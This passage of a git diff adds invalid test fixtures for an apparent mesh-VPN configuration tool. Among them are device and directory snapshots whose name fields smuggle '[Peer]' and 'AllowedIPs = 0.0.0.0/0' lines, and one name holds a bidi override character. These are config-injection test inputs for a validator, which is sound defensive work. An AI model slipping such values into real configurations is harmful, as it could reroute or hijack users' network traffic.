b/crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md @@ -0,0 +1,7 @@ +--- +id: a00042 +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: goes-direct +object: subnet:8.8.8.0/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md b/crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md new file mode 100644 index 0000000..7a0a538 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md @@ -0,0 +1,10 @@ +--- +id: a00043 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- +```raw +MTU = 1280 +``` diff --git a/crates/roads/tests/fixtures/invalid/roads/a00044-tab.md b/crates/roads/tests/fixtures/invalid/roads/a00044-tab.md new file mode 100644 index 0000000..8bea1c7 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00044-tab.md @@ -0,0 +1,7 @@ +--- +id: a00044 +subject: person:jana + verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/bad_name.md b/crates/roads/tests/fixtures/invalid/roads/bad_name.md new file mode 100644 index 0000000..2abb557 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/bad_name.md @@ -0,0 +1,7 @@ +--- +id: a00000 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json new file mode 100644 index 0000000..dde03c9 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "192.168.100.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json new file mode 100644 index 0000000..c008b5f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "127.0.0.1" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json new file mode 100644 index 0000000..2662588 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.1" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json new file mode 100644 index 0000000..e45ec63 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "not-a-key", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json new file mode 100644 index 0000000..4d71ce5 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva novak", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json new file mode 100644 index 0000000..baa88da --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json new file mode 100644 index 0000000..f578192 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "jana", "name": "Jana again" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json new file mode 100644 index 0000000..c7064b6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json @@ -0,0 +1,12 @@ +{ + "format": 2, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json new file mode 100644 index 0000000..033035f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "household"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json new file mode 100644 index 0000000..09b81b3 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "nobody"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json new file mode 100644 index 0000000..4554657 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Jana\u202e" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json new file mode 100644 index 0000000..18cbf74 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc\n[Peer]", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json new file mode 100644 index 0000000..936cbdb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva\n[Peer]\nAllowedIPs = 0.0.0.0/0" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json new file mode 100644 index 0000000..8d2330f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "nobody", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json new file mode 100644 index 0000000..bade1e7 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.7/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json new file mode 100644 index 0000000..36c893b --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["8.8.8.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json new file mode 100644 index 0000000..72d97b5 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["169.254.0.0/16"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json new file mode 100644 index 0000000..2a94d73 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true, "routes": ["192.168.0.0/16"] }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json new file mode 100644 index 0000000..a56052c --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "Photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json new file mode 100644 index 0000000..0d471a6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": [] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json new file mode 100644 index 0000000..6e5ada2 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1", "allowed_ips": ["0.0.0.0/0"] }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json new file mode 100644 index 0000000..f05f735 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva", "role": "admin" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": 